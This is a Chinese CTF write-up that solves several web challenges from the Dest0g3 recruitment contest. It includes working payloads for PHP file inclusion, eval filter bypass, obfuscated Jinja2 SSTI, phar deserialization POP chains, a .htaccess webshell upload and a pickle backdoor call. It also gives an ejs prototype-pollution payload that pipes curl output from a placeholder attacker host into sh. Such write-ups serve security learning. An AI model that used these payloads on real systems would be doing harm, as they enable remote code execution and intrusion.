destdog招新赛web-部分题解

还有很多不足的地方需要学习

phpdest

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}

比较简单,proc突破require_once的限制即可

1
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>

让他报错,调用set_error_handler即可

1
ctf[]=$timme

SimpleRCE

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

没过滤~,取反

1
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%D5);

blockchain

image.png

EasySSTI

过滤了

1
2
3
4
5
6
7
8
'
"
request
[
.
_
空格

过滤器构造

1
{%set(zero)=(self|int)%}{%set(one)=(zero**zero)|int%}{%set(two)=(zero-one-one)|abs%}{%set(four)=(two*two)|int%}{%set(five)=(two*two*two)-one-one-one%}{%set(three)=five-one-one%}{%set(nine)=(two*two*two*two-five-one-one)%}{%set(seven)=(zero-one-one-five)|abs%}{%set(space)=self|string|min%}{%set(point)=self|float|string|min%}{%set(c)=dict(c=aa)|reverse|first%}{%set(bfh)=self|string|urlencode|first%}{%set(bfhc)=bfh~c%}{%set(slas)=bfhc%((four~seven)|int)%}{%set(yin)=bfhc%((three~nine)|int)%}{%set(xhx)=bfhc%((nine~five)|int)%}{%set(right)=bfhc%((four~one)|int)%}{%set(left)=bfhc%((four~zero)|int)%}{%set(but)=dict(buil=aa,tins=dd)|join%}{%set(imp)=dict(imp=aa,ort=dd)|join%}{%set(pon)=dict(po=aa,pen=dd)|join%}{%set(so)=dict(o=aa,s=dd)|join%}{%set(ca)=dict(ca=aa,t=dd)|join%}{%set(flg)=dict(fl=aa,ag=dd)|join%}{%set(ev)=dict(ev=aa,al=dd)|join%}{%set(red)=dict(re=aa,ad=dd)|join%}{%set(bul)=xhx~xhx~but~xhx~xhx%}{%set(ini)=dict(ini=aa,t=bb)|join%}{%set(glo)=dict(glo=aa,bals=bb)|join%}{%set(itm)=dict(ite=aa,ms=bb)|join%}{%set(pld)=xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%}{%for(f,v)in((self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))())%}{%if(f==bul)%}{%for(a,b)in(v|attr(itm))()%}{%if(a==ev)%}{{b(pld)}}{%endif%}{%endfor%}{%endif%}{%endfor%}

pharpop

fast destruct绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class air{
public $p;

public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}

}

class tree{
public $name;
public $act;

public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;

}
}

class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}

$a = new tree();
$b = new tree();
$a->name = $b;
$c = new apple();
$d = new air();
$e = new tree();
$e->act = "SplFileObject";
$e->name = "Error";
$d->p = $e;
$c->xxx = $d;
$c->flag = "php://filter/read=convert.base64-encode/resource=/fflaggg";
$b->name = $c;
$x = $a;
$array = array($a,$x);
echo serialize($array);
echo "\n";
////unserialize(serialize($array));
//@unlink("phar.phar");
//$phar = new Phar("phar.phar"); //后缀名必须为phar
//$phar->startBuffering();
/*$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub*/
//$phar->setMetadata($array); //将自定义的meta-data存入manifest
//$phar->addFromString("test.txt", "test"); //添加要压缩的文件
////签名自动计算
//$phar->stopBuffering();

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://c9387777-447d-46ce-8295-66f80f1d49f9.node4.buuoj.cn:81/"
pic = open("./flag.png","rb").read()
proxies = {"http":"http://127.0.0.1:8080"}

def upload():
data = {
"0":pic,
"1":'O:1:"D":1:{s:5:"start";s:1:"w"; }'
}
r = requests.post(url=url,data=data)
print(r.text)

def read():
data = {
"0":"phar:///tmp/7e58c362cae57c86436a19f1d3781761.jpg",
"1":'O:1:"D":1:{s:5:"start";s:1:"r"; }'
}
r = requests.post(url=url,data=data)
print(r.text)
if __name__ == '__main__':
# upload()

read()

phar用下面方法绕过:

1
2
3
4
5
新建.phar
cd .phar
新建matadata
把处理过的序列化字符串加进去,下面是处理好的
a:2:{i:0;O:4:"tree":2:{s:4:"name";O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";s:5:"Error";s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:57:"php://filter/read=convert.base64-encode/resource=/fflaggg";}s:3:"act";N;}s:3:"act";N;}i:0;i:0;}

tar压缩,再用gizp压缩即可

funny_upload

.htaccess

对文件后缀没有过滤

对内容有过滤

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
POST / HTTP/1.1
Host: d5cf5b4b-0b56-4c7d-8ca0-0bbd7f22729d.node4.buuoj.cn:81
Content-Length: 357
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d5cf5b4b-0b56-4c7d-8ca0-0bbd7f22729d.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary65Yxb4VInKlwTfu7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://d5cf5b4b-0b56-4c7d-8ca0-0bbd7f22729d.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary65Yxb4VInKlwTfu7
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

#define width 1337
#define height 1337
APD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=

------WebKitFormBoundary65Yxb4VInKlwTfu7
Content-Disposition: form-data; name="1"

提交
------WebKitFormBoundary65Yxb4VInKlwTfu7--


POST / HTTP/1.1
Host: d5cf5b4b-0b56-4c7d-8ca0-0bbd7f22729d.node4.buuoj.cn:81
Content-Length: 436
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d5cf5b4b-0b56-4c7d-8ca0-0bbd7f22729d.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary65Yxb4VInKlwTfu7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://d5cf5b4b-0b56-4c7d-8ca0-0bbd7f22729d.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary65Yxb4VInKlwTfu7
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

------WebKitFormBoundary65Yxb4VInKlwTfu7
Content-Disposition: form-data; name="1"

提交
------WebKitFormBoundary65Yxb4VInKlwTfu7--



image.png

middle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)


#config.py
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")

直接import config然后调用backdoor就行,中间该mark的mark,最后用抛出异常来读即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from base64 import b64encode
from urllib.parse import quote


def base64_encode(s: str, encoding='utf-8') -> str:
return b64encode(s.encode()).decode(encoding=encoding)


exc = "raise Exception(__import__('os').popen('tac /*').read())"
exc = base64_encode(exc).encode()


opcode = b'''(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.'''% (exc)

print(quote(b64encode(opcode).decode()))

NodeSoEasy

组件的话,除了ejs差了一个小版本其他都是最新的

ejs这里的漏洞加了过滤绕不开,但是也学习了一下CVE-2022-29078

修复:

https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf

image.png

image.png

http://suphp.cn/anquanke/54/236354.html

1
{"__proto__":{"view options":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('curl https://your-shell.com/1.117.144.41:4444 | sh');","compileDebug":true,"debug":true}}}

Really Easy SQL&Sql

两道比赛没出,属于是又卡在sql上了,听说之后群里给了hint,把黑名单给出来了,如下

image.png

看了一些赛后的wp,发现其实当时没试出来的原因很有可能是hackbar或者burp传的时候没有对%0之类的url解码,因为他过滤了%0

下图中的%%0d是python中双写百分号起到转义的效果

https://blog.csdn.net/yasi_xi/article/details/38355853

image.png